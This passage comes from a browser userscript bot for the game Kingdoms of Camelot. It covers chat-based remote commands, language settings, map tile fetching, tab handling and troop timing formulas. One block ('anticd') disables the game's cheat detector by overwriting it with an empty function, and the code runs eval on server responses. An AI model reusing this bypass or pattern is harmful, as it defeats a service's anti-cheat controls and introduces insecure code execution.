                td.style.backgroundColor='#ffde75';
                td.style.textAlign='right';
                return td;
            }
            for(var city in res) {
                var resObj=res[city];
                
                var tr=table.insertRow(-1);
                //var cityTd=tr.insertCell(-1);
                var cityTd=AddCell(tr);
                cityTd.colspan='4';
                cityTd.style.fontWeight='bold';
                var cityM=/([0-9]+)$/.exec(city);
                var cityObj=cities[cityM[1]];
                if(!cityObj) {
                    logit('Cannot find city:'+cityM[1]);
                    continue;
                }
                
                cityTd.innerHTML=cityObj[1];
                //for(var r=1; r<=4; r++ ) {
                for(var unt in resObj) {
                    //var rarr=JSON2.parse(resObj['rec'+r].replace(' ',''));
                    var units=parseInt(resObj[unt]);
                    
                    if(units<=0) continue;
                    var tr=table.insertRow(-1);
                    AddCell(tr).innerHTML=unsafeWindow.unitcost[unt][0];
                    AddCell(tr).innerHTML=addCommas(units);
                }
            }
            chatObj.textObj.appendChild(table);
        },
    },
    'attacks':{
        'question':function(chatObj,info) {
            if(!chatObj.notProcessed) { return; }
            var t=ChatStuff;
            
            t.SendChat(chatObj.shortName,"attacks."+JSON2.stringify({
                'cities':t.GetCitiesHash(Seed.cities),
                'marches':Seed.queue_atkinc,
                'players':Seed.players,
                'alliance':Seed.allianceNames,
            }));
        },
        'answer':function(chatObj,info) {
            var t=ChatStuff;
            var infoObj=JSON2.parse(info);
            var res=infoObj.marches;
            var cities=infoObj.cities;
            var names=infoObj.players;
            var alliance=infoObj.alliance;
            
            chatObj.textObj.innerHTML='';
            var div = document.createElement('div');
            var table=document.createElement('table');
            div.style.overflow = 'auto';
            function AddCell(tr) {
                var td=tr.insertCell(-1);
                td.style.backgroundColor='#ffde75';
                td.style.textAlign='right';
                return td;
            }
            var cityTr = {};
            for(var city in cities) {                
                cityTr[city]=table.insertRow(-1);
                cityTd=AddCell(cityTr[city]);
                cityTd.colspan='4';
                cityTd.style.fontWeight='bold';
                cityTd.innerHTML=cities[city][1].substring(0,10)+' '+coordLink(cities[city][2],cities[city][3]);
            }
            for(var marches in res){
                var marchObj = res[marches];
                if(!marchObj.toCityId) continue;
                if(marchObj.marchType == 3 || marchObj.marchType ==4){
                    var tr=table.insertRow(cityTr[marchObj.toCityId].rowIndex+1);//Specify which city to insert
                    var timeLeft = parseInt(marchObj.arrivalTime-unixTime());
                    if(timeLeft < 0) continue;
                    
                    AddCell(tr).innerHTML = timestr(timeLeft);
                    AddCell(tr).innerHTML = coordLink(marchObj.fromXCoord,marchObj.fromYCoord);
                    AddCell(tr).innerHTML = names['u'+marchObj.pid]?names['u'+marchObj.pid].n.substring(0,10):(marchObj.players['u'+marchObj.pid]?marchObj.players['u'+marchObj.pid].n.substring(0,10):'Undefined');
                    AddCell(tr).innerHTML = (alliance['a'+marchObj.fromAllianceId]?alliance['a'+marchObj.fromAllianceId].substring(0,10):'Undefined')+' ('+getDiplomacy(marchObj.fromAllianceId)+')';
                    var troops = [];
                    for(var t = 1; t<15; t++){
                        troops.push(parseInt(marchObj.unts['u'+t]));
                    }
                    AddCell(tr).innerHTML = '<a onclick=pbviewtroops('+ troops.join(',') +')>'+translate("View troops")+'</a>';
                }
            }
            div.appendChild(table);
            chatObj.textObj.appendChild(div);
        },
    },
   'tr':{
        'question':function(chatObj,info) {
                    // This is dangerous and in beta. Chat processor is still not 100% but I'm releasing this bit
			if(!chatObj.notProcessed || chatObj.fromMe) { return; }
            var t=ChatStuff;
			var preset=parseInt(info) || 0;
			Options.alertConfig.lastAttack = now; // Prevent Tower TR from immediately switching back if no recent incoming
			var msg = '';
			if (Options.alertConfig.alertTR) {
				msg += ' CAUTION: Auto TR toggle on incoming is on and set to change to preset ' + Options.alertConfig.alertTRset +'.';
			};
			if (preset>0 && preset<=Seed.throne.slotNum) {
				Tabs.Throne.doPreset(preset,0);
				
				t.SendChat(chatObj.shortName,'Throne Room changed to preset '+preset+' per request.\r\n' + msg);
			}
			else {
				Tabs.Throne.doPreset('1',0);
				t.SendChat(chatObj.shortName,'Throne Room changed to preset 1 by default.\r\n' + msg);
			};
			// Send message to self to record TR switch action	
			var message = chatObj.shortName.toString() + ' changed your TR to preset ' + preset.toString() + '.';
			
			var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
			params.emailTo = Seed.player['name'];
			params.subject = "Remote TR change command";
			params.message = message;
			params.requestType = "COMPOSED_MAIL";
			
			new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
				method: "post",
				parameters: params,
				onSuccess: function (message) {
					var rslt = eval("(" + message.responseText + ")");
					if (rslt.ok) {
							GM_log('Message sent to record remote TR change request');
					}
				},
				onFailure: function () {
					GM_log('Message to record remote TR change request failed');
				},
			});
		},
        'answer':function(chatObj,info) {
            if(!chatObj.notProcessed) { return; }
        },
    },
   'sac':{
      'question':function(chatObj,info){
      if(!chatObj.notProcessed) { return; }
      GM_log("Start sac Question \r\n"+info);
      // This is going to be even more dangerous, so not even uncommenting it yet.
      //var params = Object.clone(g_ajaxparams);
        //params.cid = currentcityid;
        //params.type = unitid;
        //params.quant = numUnits;
        //var profiler = new cm.Profiler("ResponseTime", "train.php");
        //new Ajax.Request(g_ajaxpath + "ajax/sacrifice.php" + g_ajaxsuffix, {
        //    method: "post",
        //    parameters: params,
        //    onSuccess: function (transport) {
        //        profiler.stop();
        //        var response = eval("(" + transport.responseText + ")");
        //        if (response.ok) {
        //            seed.queue_sacr["city" + currentcityid].push(response.queue_sacr);
        //            seed.units["city" + currentcityid] = response.units;
        //            seed.cityData.city[currentcityid].population = response.cityData_city.population;
        //            seed.cityData.city[currentcityid].populationCap = response.cityData_city.populationCap;
        //            queue_changetab_train();
        //            changeBarracksModalTabs(1);
        //            Modal.hideModal()
        //        } else {
        //            Modal.showAlert(response.feedback)
        //        }
        //    }
        //}
      },
      'answer':function(chatObj,info){
         if(!chatObj.notProcessed) { return; }
         GM_log("End sac Question \r\n"+info);
      },
   }
  },

  allowUsersHash:null,
  ChatAdded:function(chatObj) {
    var t=ChatStuff;
    if(chatObj) {
        t.noAllow = ChatOptions.BlacklistUsersRemoteControl;
        t.allowUsersHash = ChatOptions.AllowUsersRemoteControl;
        if(t.allowUsersHash.length==0) { return; }
        if(t.noAllow.length!=0) {
            for(var u=0; u<t.noAllow.length; u++)
                if(t.noAllow[u] == chatObj.shortName){
                    return;
                }
        }

        var cArr=/^([^\?\.]+)([\.\?])(.*)$/.exec(chatObj.text);
        if(!cArr) {
            return;
        }
        var cmd=cArr[1];
        
        var question=false;
        if(chatObj.fromMe) {
            chatObj.obj.style.borderBottom='1px solid #0f0';
        }
        if(chatObj.notProcessed) {
            chatObj.obj.style.borderLeft='1px solid #ff0';
        }
        
        var cmdInfo=t.ChatFuncs[cmd];

        if(cArr[2]=='?') {
            question=true;
         var info=cArr[3];
            if(ChatOptions.Chatpassenable){
                var password=cArr[3].split(" ")[1];
            info=cArr[3].split(" ").slice(2);
            }
        } else {
            var info=cArr[3];
        }
        
        if(cmdInfo && !question) {
            // hide unreadable requests that are json
            var shortCmd=(cmd+cArr[2]);

            if(chatObj.textObj.innerHTML!=shortCmd && info.substr(0,1)=='{') {
                chatObj.textObj.innerHTML=shortCmd;
            }
        }
        
        // if(chatObj.fromMe) {
            // return;
        // }
        var done=0;

        if(cmdInfo && (!chatObj.fromMe)) {
            window.setTimeout(function() {
                if(question && chatObj.notProcessed) {
                    var permission = false;
                    for(var u=0; u<t.allowUsersHash.length; u++)
                        if(t.allowUsersHash[u] == chatObj.shortName){
                            permission = true;
                            break;
                        }
                    if(ChatOptions.Chatpassenable && password!=ChatOptions.password){
                        permission = false;
                        //GM_log(password+' '+ChatOptions.password);
                    }
                    if(permission){
                        cmdInfo['question'].call(t,chatObj,info);
                    } else {
                        chatObj.obj.appendChild(document.createTextNode(translate("Player does not have permission")+": "+chatObj.shortName));
                        t.SendChat(chatObj.shortName,translate("Player does not have permission"));
                        if(ChatOptions.Chatautoblacklist){
                            ChatOptions.BlacklistUsersRemoteControl.push(chatObj.shortName);
                            document.getElementById('blacklistUserBox').value += chatObj.shortName+'\n';
                        }
                    }
                } else {
                    cmdInfo['answer'].call(t,chatObj,info);
                }
            },0);                
        }
    } else {
        logit('Chat object failed');
    }
    return true;
  },
}

/******************* Language Tab ******************/
Tabs.Language = {
  tabOrder : 800,                    // order to place tab in top bar
  tabLabel : 'Language',            // label to show in main window tabs
  myDiv : null,
  language : {needTranslation:{}},
  link : {"https://koc-power-bot.googlecode.com/svn/trunk/translation/translation_en.js":"en"},
  
  init : function (div){    // called once, upon script startup
    var t = Tabs.Language;
    t.myDiv = div;
    var m = "<DIV class=pbStat>"+translate("Language Settings")+"</div><TABLE><TR>\
            <TD>"+translate("Set Language")+" : "+ htmlSelector({en:"en"},Options.language,"id=pblang_type") +"</td>\
            <TD><input id=pblang_update value='"+translate("Save Settings")+"' type=submit DISABLED /><span id=pblang_msg ></span></td></tr>\
            <TR><TD>"+translate("Language files download")+" : "+ htmlSelector(t.link,null,"id=pblang_link") +"</td>\
            <td><input id=pblang_download value='"+translate("Download")+"' type=submit /></td></tr>\
            <TR><TD>"+translate("Show current language array:")+" </td>\
            <TD><input id=pblang_show value='"+translate("Show")+"' type=submit /></td></tr>";
    t.myDiv.innerHTML = m;
    
    document.getElementById("pblang_type").addEventListener('change', function (){
        if(Options.language != document.getElementById("pblang_type").value)
            document.getElementById("pblang_update").disabled = false;
        else
            document.getElementById("pblang_update").disabled = true;
    },false);
    document.getElementById("pblang_update").addEventListener('click', function (){
        var language = document.getElementById("pblang_type").value;
        var s = GM_getValue ("Language_"+language);
        if (s != null){
            var lang = JSON2.parse (s);
            t.sendMessage("Loaded <b>"+language+"</b> Version <b>"+lang.Version+"</b>");
            Options.language = document.getElementById("pblang_type").value;
        } else {
            t.sendMessage("<span class=boldRed> Language <b>"+language+"</b> not found. Please download language file!</span>");
            document.getElementById("pblang_type").value = Options.language;
        }
    },false);
    document.getElementById("pblang_download").addEventListener('click', function (){
        document.getElementById("pblang_download").disabled = true;
        GM_xmlhttpRequest({
            method: 'GET',
            url: document.getElementById("pblang_link").value,
            onload: function(xpr) {t.updatelanguage(xpr.responseText, document.getElementById("pblang_link").value);},
            onerror: function(xpr) {t.updatelanguage(xpr.responseText, false);}
        });
    },false);
    document.getElementById("pblang_show").addEventListener('click', function(){
        t.showlanguage();
    },false);
  },
  
  hide : function (){         // called whenever the main window is hidden, or another tab is selected
    var t = Tabs.Language;
  },
  
  show : function (){
      
  },
  
  showlanguage : function(){
      var t = Tabs.Language;
      t.poplangshow = new pbPopup('pbShowLanguage', 10, 10, 600, 500, true, function() {t.poplangshow.destroy();});
      t.poplangshow.getTopDiv().innerHTML = '<TD><B>'+translate("Language Array:")+'</td>';
      t.poplangshow.getMainDiv().innerHTML = '<DIV style="max-height:440px;overflow-y:auto"><TABLE style="overflow-y:auto" align=center cellpadding=0 cellspacing=0 width=100% class="pbTab" id="pblang_showarray"></table></div><div id=pblang_status ></div>';
      t.paintlanguagearray();
      t.poplangshow.show(true);
  },
  
  paintlanguagearray : function(){
      var t = Tabs.Language;
      var m = '';
      for (var k in t.language.needTranslation){
          m += "<TR><TD style='max-width:250px;word-wrap:break-word' >"+k.escape_space()+": </td><TD><input id='pblang_"+escape(k)+"' value='"+(t.language.needTranslation[k]==1?'':t.language.needTranslation[k].unescape_space())+"' /></td></tr>";
      }
      for (var k in t.language){
          if(k != "needTranslation")
            m += "<TR><TD style='max-width:250px;word-wrap:break-word' >"+k.escape_space()+": </td><TD>"+t.language[k].escape_space()+"</td></tr>";
      }
      document.getElementById("pblang_showarray").innerHTML = m;
      document.getElementById("pblang_status").innerHTML = "<center><input type=submit id=pblang_statussave value=Save /><input type=submit id=pblang_statusexport value='Export new translation' /></center>";
      document.getElementById("pblang_statussave").addEventListener('click', function(){
        for (var k in t.language.needTranslation){
            var j = document.getElementById("pblang_"+escape(k)).value;
            if(j != '')
                t.language.needTranslation[k] = j;
        }
        saveLanguage();
      },false);
      document.getElementById("pblang_statusexport").addEventListener('click', function(){
          t.export();
      },false);
  },  
  
  export : function(){
      var t = Tabs.Language;
      var pop = new pbPopup('pbExportLanguage', 0, 0, 400, 400, true, function() {this.destroy();});
      var m = "<textarea rows=15 cols=50 >";
       for (var k in t.language.needTranslation){
          if(t.language.needTranslation[k] != 1)
            m += "\""+k+"\":\""+t.language.needTranslation[k]+"\",\n";
      }
      m += "</textarea>";
      pop.getMainDiv().innerHTML = m;
      pop.show(true);
  },
  
  sendMessage : function (msg){
      document.getElementById("pblang_msg").innerHTML = msg;
  },
  
  updatelanguage : function(result, response){
      var t = Tabs.Language;
      if(!response) {
          t.sendMessage("<span class=boldRed>Error loading file. Try again later</span>");
      document.getElementById("pblang_download").disabled = false;
          return;
      }
      var rslt = null;
      try{
        rslt = JSON2.parse(result);
      } catch (e){
        t.sendMessage("<span class=boldRed>Error reading file. Please notify devs</span>");
        logit(inspect(e,7,1));
        document.getElementById("pblang_download").disabled = false;
        return;
      }
      var s = GM_getValue ("Language_"+rslt.curlang);
      if (s != null){
        var lang = JSON2.parse (s);
        for (k in rslt){
            if(lang.needTranslation)
                if(lang.needTranslation[k]) //Remove from array if already translated
                    delete lang.needTranslation[k];
            lang[k] = rslt[k];
        }
      } else {
          var lang = rslt;
      }
      setTimeout (function (){GM_setValue ('Language_'+rslt.curlang, JSON2.stringify(lang));}, 0);
      t.sendMessage("Successfully loaded language file. Please refresh");
      document.getElementById("pblang_download").disabled = false;
  },
}

function readLanguage () {
    var t = Tabs.Language;
    if(!Options.language) return;
    var s = GM_getValue ("Language_"+Options.language);
    if (s != null){
        var lang = JSON2.parse (s);
        for (k in lang){
            t.language[k] = lang[k];
        }
    }
    t.language.curlang = Options.language;
}

function saveLanguage (){
   var t = Tabs.Language;
    setTimeout (function (){GM_setValue ('Language_'+t.language.curlang, JSON2.stringify(t.language));}, 0);
}

function translate (str) {
    var t = Tabs.Language;
    if(t.language[str])
        return t.language[str];
    else {
        if(t.language.needTranslation[str] == undefined)
            t.language.needTranslation[str] = 1;
        else if (t.language.needTranslation[str] != 1)
            return t.language.needTranslation[str];
    }
    return str;    
}

/*******************   KOC Map interface ****************/
// 0:bog, 10:grassland, 11:lake, 20:woods, 30:hills, 40:mountain, 50:plain, 51:city / barb, 53:misted city
function CMapAjax (){
  this.normalize = normalize;  
  this.request = request;

  function request (left, top, width, notify){
  if(MAP_DELAY_WATCH > Number(unsafeWindow.unixtime())) {
  	notify(left, top, width,  {"ok":false});
  	return;//we're slowing down the requests so the server doesn't get bogged.
  };
    var left = parseInt(left / 5) * 5;
    var top = parseInt(top / 5) * 5;
    var width = parseInt((width+4) / 5) * 5;
    
    var blockString = generateBlockList(left, top, width);
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.blocks = blockString;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/fetchMapTiles.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
      	if(!rslt.ok) MAP_DELAY+=100;
		MAP_DELAY_WATCH = Number(unsafeWindow.unixtime())+Number(Number(MAP_DELAY)/1000);
        notify(left, top, width, rslt);
        new Sendtokofcmon(left,top,rslt);
      },
      onFailure: function (rslt) {
        notify(left, top, width, rslt);
      },
    });
    function generateBlockList (left, top, width) {
      var width5 = parseInt(width / 5);
      var bl = [];
      for (x=0; x<width5; x++){
        var xx = left + (x*5);
        if (xx > 745)
          xx -= 750;
        for (y=0; y<width5; y++){
          var yy = top + (y*5);
          if (yy > 745)
            yy -= 750;
          bl.push ('bl_'+ xx +'_bt_'+ yy);
        }
      }
      return bl.join("%2C");
    }
  }
 
  function normalize  (x){
    if ( x >= 750)
      x -= 750;
    else if (x < 0)
      x += 750;
    return parseInt (x/5) * 5;
  }
}

var anticd = {
  isInited : false,
  KOCversion : '?',
  
  init: function (){
    if (this.isInited)
      return this.KOCversion;
    unsafeWindow.cm.cheatDetector.detect = eval ('function a (){}');
    var scripts = document.getElementsByTagName('script');
    for (var i=0; i<scripts.length; i++){
      if (scripts[i].src.indexOf('camelotmain') >=0){
        break;
      }
    }
    if (i<scripts.length){
      var m = scripts[i].src.match (/camelotmain-(.*).js/);  
      if (m)
        this.KOCversion = m[1];
    }
    this.isInited = true;
    // more coming soon :)
  },
  
  getKOCversion : function (){
    return this.KOCversion;
  },
}
try {
  anticd.init ();
} catch (e){
  logit ("ANTICD error: "+ e);
}

var tabManager = {
  tabList : {},           // {name, obj, div}
  currentTab : null,
  
  init : function (mainDiv){
    var t = tabManager;
    var sorter = [];
    for (k in Tabs){
      if (!Tabs[k].tabDisabled){  
        t.tabList[k] = {};
        t.tabList[k].name = k;
        t.tabList[k].obj = Tabs[k];
        if (Tabs[k].tabLabel != null)
          t.tabList[k].label = Tabs[k].tabLabel;
        else
          t.tabList[k].label = k;
        if (Tabs[k].tabOrder != null)
          sorter.push([Tabs[k].tabOrder, t.tabList[k]]);
        else
          sorter.push([1000, t.tabList[k]]);
        t.tabList[k].div = document.createElement('div');
      }
    }

    sorter.sort (function (a,b){return a[0]-b[0]});
    var m = '<TABLE cellspacing=3 class=pbMainTab><TR>';
    for (var i=0; i<sorter.length; i++) {
      m += '<TD class=spacer></td><TD align=center class=notSel id=pbtc'+ sorter[i][1].name +' ><A><SPAN>'+ sorter[i][1].label +'</span></a></td>';
      //m += '<TD align=center class=notSel id=pbtc'+ sorter[i][1].name +' ><A><SPAN>'+ sorter[i][1].label +'</span></a></td>';
      if ((i+1)%9 == 0) m+='</tr><TR>';
    }
    m+='</tr></table>';  
    //m += '<TD class=spacer width=90% align=right>'+ Version +'&nbsp;</td></tr></table>';
    mainPop.getMainTopDiv().innerHTML = m;
    
    for (k in t.tabList) {
      if (t.tabList[k].name == Options.currentTab)
        t.currentTab =t.tabList[k] ;
      document.getElementById('pbtc'+ k).addEventListener('click', this.e_clickedTab, false);
      var div = t.tabList[k].div;
      div.style.display = 'none';
      div.style.height = '100%';
      mainDiv.appendChild(div);
      try {
        t.tabList[k].obj.init(div);
      } catch (e){
        div.innerHTML = "INIT ERROR: "+ e;
      }
    }
    
    if (t.currentTab == null)
      t.currentTab = sorter[0][1];    
    t.setTabStyle (document.getElementById ('pbtc'+ t.currentTab.name), true);
    t.currentTab.div.style.display = 'block';
  },
  
  hideTab : function (){
    var t = tabManager;
    t.currentTab.obj.hide();
  },
  
  showTab : function (){
    var t = tabManager;
    t.currentTab.obj.show();
  },
    
  setTabStyle : function (e, selected){
    if (selected){
      e.className = 'sel';
    } else {
      e.className = 'notSel';
    }
  },
  
  e_clickedTab : function (e){
    var t = tabManager;
    var newTab = t.tabList[e.target.parentNode.parentNode.id.substring(4)];
    if (t.currentTab.name != newTab.name){
      t.setTabStyle (document.getElementById ('pbtc'+ t.currentTab.name), false);
      t.setTabStyle (document.getElementById ('pbtc'+ newTab.name), true);
      t.currentTab.obj.hide ();
      t.currentTab.div.style.display = 'none';
      t.currentTab = newTab;
      newTab.div.style.display = 'block';
      Options.currentTab = newTab.name;      
    }
    newTab.obj.show();
  },
}

function ToggleDivDisplay(h,w,div) {
    var dc = unsafeWindow.jQuery('#'+div).attr('class');
    if (dc) {
        if (dc.indexOf('pbdivHide') >= 0) {
            unsafeWindow.jQuery('#'+div).attr('class','');
            unsafeWindow.jQuery('#'+div+'Arrow').attr('src','https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/autoAttack/down_arrow.png');
        }
    }
    else
    {
        unsafeWindow.jQuery('#'+div).attr('class','pbdivHide');
        unsafeWindow.jQuery('#'+div+'Arrow').attr('src','https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/autoAttack/across_arrow.png');
    }
}

function onUnload (){
  Options.pbWinPos = mainPop.getLocation();
  if (!ResetAll) saveOptions();
  saveLanguage();
}

function mouseMainTab (me){   // right-click on main button resets window location
  if (me.button == 2){
    var c = getClientCoords (document.getElementById('main_engagement_tabs'));
    mainPop.setLocation ({x: c.x+4, y: c.y+c.height});
  }
}

function eventHideShow (){
  if (mainPop.toggleHide(mainPop)){
    tabManager.showTab();
    Options.pbWinIsOpen = true;
  } else {
    tabManager.hideTab();
    Options.pbWinIsOpen = false;
  }
  saveOptions();
}

function hideMe (){
  mainPop.show (false);
  tabManager.hideTab();
  Options.pbWinIsOpen = false;
  saveOptions();
}

function showMe (){
  mainPop.show (true);
  tabManager.showTab();
  Options.pbWinIsOpen = true;
  saveOptions();
}

function addMyFunction (func){      // add function to run in our own scope
  unsafeWindow[func.name] = func;
}

function addUwFunction (func){      // add function to run in unsafeWindow's scope
  var scr = document.createElement('script');
    scr.innerHTML = func.toString();
    document.body.appendChild(scr);
}

function alterUwFunction (funcName, frArray){
  try {
    funcText = unsafeWindow[funcName].toString();
    rt = funcText.replace ('function '+funcName, 'function');
    for (i=0; i<frArray.length; i++){
      x = rt.replace(frArray[i][0], frArray[i][1]);
      if (x == rt)
        return false;
      rt = x;
    }
    js = funcName +' = '+ rt;
      var scr=document.createElement('script');
      scr.innerHTML=js;
      document.body.appendChild(scr);
      return true;
  } catch (err) {
    return false;
  }
}

function officerId2String (oid){
  if (oid==null)
    return '';
  else if (oid==3)
    return 'Officer';
  else if (oid==2)
    return 'Vice Chance';
  else if (oid==1)
    return 'Chancellor';
  return '';
}

var knightRoles = {
  Foreman : 'politics',
  Marshall : 'combat',
  Alchemystic : 'intelligence',
  Steward : 'resourcefulness',
};

function officerId2String (oid){
  if (oid==null)
    return '';
  else if (oid==3)
    return 'Officer';
  else if (oid==2)
    return 'Vice Chance';
  else if (oid==1)
    return 'Chancellor';
  return '';
}

var fortNamesShort = {
  53: "Crossbows",
  55: "Trebuchet",
  60: "Trap",
  61: "Caltrops",
  62: "Spiked Barrier",
}

// onClick (city{name, id, x, y}, x, y)   city may be null!
function CdispCityPicker (id, span, dispName, notify, selbut, disable_list){
  function CcityButHandler (t){
    var that = t;
    this.clickedCityBut = clickedCityBut;
    function clickedCityBut (e){
      if (that.selected != null)
        that.selected.className = "castleBut castleButNon";
      that.city = Cities.cities[e.target.id.substr(that.prefixLen)];
      if (that.dispName)
        document.getElementById(that.id+'cname').innerHTML = that.city.name;
      e.target.className = "castleBut castleButSel";
      that.selected = e.target;
      if (that.coordBoxX){
        that.coordBoxX.value = that.city.x;
        that.coordBoxY.value = that.city.y;
        var evt = document.createEvent("HTMLEvents");
        evt.initEvent('change', true, true ); // event type,bubbling,cancelable
        that.coordBoxX.dispatchEvent(evt);
        that.coordBoxY.dispatchEvent(evt);
        that.coordBoxX.style.backgroundColor = '#ffffff';
        that.coordBoxY.style.backgroundColor = '#ffffff';
      }
      if (that.notify != null)
        that.notify(that.city, that.city.x, that.city.y);
    }
  }

  function selectBut (idx){
    document.getElementById(this.id+'_'+idx).click();
  }

  function bindToXYboxes (eX, eY){
    function CboxHandler (t){
      var that = t;
      this.eventChange = eventChange;
      if (that.city){
        eX.value = that.city.x;
        eY.value = that.city.y;
      }
      function eventChange (){
        var xValue=that.coordBoxX.value.trim();
            var xI=/^\s*([0-9]+)[\s|,|-|.]+([0-9]+)/.exec(xValue);                 
            if(xI) {
                that.coordBoxX.value=xI[1]
                that.coordBoxY.value=xI[2]
            }
        var x = parseInt(that.coordBoxX.value, 10);
        var y = parseInt(that.coordBoxY.value, 10);
        if (isNaN(x) || x<0 || x>750){
          that.coordBoxX.style.backgroundColor = '#ff8888';
          return;
        }
        if (isNaN(y) || y<0 || y>750){
          that.coordBoxY.style.backgroundColor = '#ff8888';
          return;
        }
        that.coordBoxX.style.backgroundColor = '#ffffff';
        that.coordBoxY.style.backgroundColor = '#ffffff';
        if (that.notify != null)
          that.notify (null, x, y);
      }
      return false;
    }
    this.coordBoxX = eX;
    this.coordBoxY = eY;
    var bh = new CboxHandler(this);
    eX.maxLength=8;
    eY.maxLength=3;
    eX.style.width='2em';    
    eY.style.width='2em';    
    eX.addEventListener('change', bh.eventChange, false);
    eY.addEventListener('change', bh.eventChange, false);
  }

  this.selectBut = selectBut;
  this.bindToXYboxes = bindToXYboxes;
  this.coordBoxX = null;
  this.coordBoxY = null;
  this.id = id;
  this.dispName = dispName;
  this.prefixLen = id.length+1;
  this.notify = notify;
  this.selected = null;
  this.city = null;
  var m = '';
  for (var i=0; i<Cities.cities.length; i++){
    if(matTypeof(disable_list) == 'array'){
        if(disable_list[i])
            m += '<INPUT class="castleBut castleButNon" id="'+ id +'_'+ i +'" value="'+ (i+1) +'" type=submit DISABLED \>';
        else
            m += '<INPUT class="castleBut castleButNon" id="'+ id +'_'+ i +'" value="'+ (i+1) +'" type=submit \>';
    } else
        m += '<INPUT class="castleBut castleButNon" id="'+ id +'_'+ i +'" value="'+ (i+1) +'" type=submit \>';
  }
  if (dispName)
    m += ' &nbsp; <SPAN style="display:inline-block; width:85px; font-weight:bold;" id='+ id +'cname' +'></span>';
  span.innerHTML = m;
  var handler = new CcityButHandler(this);
  for (var i=0; i<Cities.cities.length; i++)
    document.getElementById (id+'_'+i).addEventListener('click', handler.clickedCityBut, false);
  if (selbut != null)
    this.selectBut(selbut);
};

function setCities(){
  Cities.numCities = Seed.cities.length;
  Cities.cities = [];
  Cities.byID = {};
  for (i=0; i<Cities.numCities; i++){
    city = {};
    city.idx = i;
    city.id = parseInt(Seed.cities[i][0]);
    city.name = Seed.cities[i][1];
    city.x = parseInt(Seed.cities[i][2]);
    city.y = parseInt(Seed.cities[i][3]);
    city.tileId = parseInt(Seed.cities[i][5]);
    city.provId = parseInt(Seed.cities[i][4]);
    getTroopDefTrainEstimates('city'+ city.id, city);
    Cities.cities[i] = city;
    Cities.byID[Seed.cities[i][0]] = city;
  }
}

function getTroopDefTrainEstimates (cityID, city){
    var b = Seed.buildings[cityID];
    city.numCottages = 0;
    city.numBarracks = 0;
    city.maxBarracks = 0;
    city.totLevelsBarracks = 0;
    city.blacksmithLevel = 0;
    city.stableLevel = 0;
    city.workshopLevel = 0;
    city.wallLevel = 0;
    city.feyLevel = 0;
    for (var j=1; j<33; j++){
        if (b['pos'+j]) {
            var bname = parseInt(b['pos'+j][0]);
            var blvl = parseInt(b['pos'+j][1]);
            switch(bname){
                case 13:
                    city.numBarracks++;
                    city.totLevelsBarracks += parseInt(blvl);
                    if (blvl>city.maxBarracks) city.maxBarracks=blvl;
                    break;
                case 5:
                    city.numCottages++;
                    break;
                case 15:
                    city.blacksmithLevel = blvl;
                    break;
                case 16:
                    city.workshopLevel = blvl;
                    break;
                case 17:
                    city.stableLevel = blvl;
                    break;
                case 19:
                    city.wallLevel = blvl;
                    break;
                case 20:
                    city.feyLevel = blvl;
                    break;
            }
        }
    }

    var now = unixTime();
    city.marshallCombatScore = 0;
    var s = Seed.knights[cityID];
    if (s) {
        s = s["knt" + Seed.leaders[cityID].combatKnightId];
        if (s){
            city.marshallCombatScore = s.combat;
            if (s.combatBoostExpireUnixtime > now)
                city.marshallCombatScore *= 1.25;
        }
    }
    city.foremanBasePoliticsScore = 0;
    var s = Seed.knights[cityID];
    if (s) {
        s = s["knt" + Seed.leaders[cityID].politicsKnightId];
        if (s){
            city.foremanBasePoliticsScore = s.politics;
            if (s.politicsBoostExpireUnixtime > now)
                city.foremanBasePoliticsScore *= 1.25;
        }
    }

    city.loggingLevel = parseInt(Seed.tech["tch2"]);
    city.geometryLevel = parseInt(Seed.tech["tch5"]);
    city.eagleEyesLevel = parseInt(Seed.tech["tch6"]);
    city.poisonedEdgeLevel = parseInt(Seed.tech["tch8"]);
    city.metalAlloysLevel = parseInt(Seed.tech["tch9"]);
    city.featherweightPowderLevel = parseInt(Seed.tech["tch10"]);
    city.alloyHorseshoesLevel = parseInt(Seed.tech["tch12"]);
    city.fletchingLevel = parseInt(Seed.tech["tch13"]);
    city.giantsStrengthLevel = parseInt(Seed.tech["tch16"]);

    var bm = city.numBarracks + 0.1 * (city.totLevelsBarracks - city.numBarracks);
    var mf = city.marshallCombatScore / 200;
    var gf = city.geometryLevel / 10;
    var sf = city.stableLevel / 10;
    var wf = city.workshopLevel / 10;
    var isf = bm * (1 + mf + gf);
    var csf = bm * (1 + mf + gf + sf);
    var ssf = bm * (1 + mf + gf + sf + wf);
    var pf = city.foremanBasePoliticsScore / 200;
    var gsf = city.giantsStrengthLevel / 10;
    var dsf = 1 + pf + gsf;

    
    city.Troop1Time = ((city.maxBarracks > 0)?(50/isf):0);
    city.Troop2Time = city.Troop1Time/2;
    city.Troop3Time = ((city.maxBarracks > 1 && city.eagleEyesLevel > 0)?(100/isf):0);
    city.Troop4Time = ((city.maxBarracks > 1 && city.poisonedEdgeLevel > 0)?(150/isf):0);
    city.Troop5Time = ((city.maxBarracks > 2 && city.blacksmithLevel > 0 && city.metalAlloysLevel > 0)?(225/isf):0);
    city.Troop6Time = ((city.maxBarracks > 3 && city.fletchingLevel > 0)?(350/isf):0);
    city.Troop7Time = ((city.maxBarracks > 4 && city.stableLevel > 0 && city.alloyHorseshoesLevel > 0)?(500/csf):0);
    city.Troop8Time = ((city.maxBarracks > 6 && city.blacksmithLevel > 4 && city.stableLevel > 4 && city.alloyHorseshoesLevel > 4)?(1500/csf):0);
    city.Troop9Time = ((city.maxBarracks > 5 && city.stableLevel > 0 && city.workshopLevel > 2 && city.featherweightPowderLevel > 0)?(1000/ssf):0);
    city.Troop10Time = ((city.maxBarracks > 7 && city.stableLevel > 1 && city.workshopLevel > 4 && city.geometryLevel > 4 && city.fletchingLevel > 5)?(3000/ssf):0);
    city.Troop11Time = ((city.maxBarracks > 8 && city.blacksmithLevel > 4 && city.stableLevel > 2 && city.workshopLevel > 6 && city.metalAlloysLevel > 7 && city.geometryLevel > 6)?(4500/ssf):0);
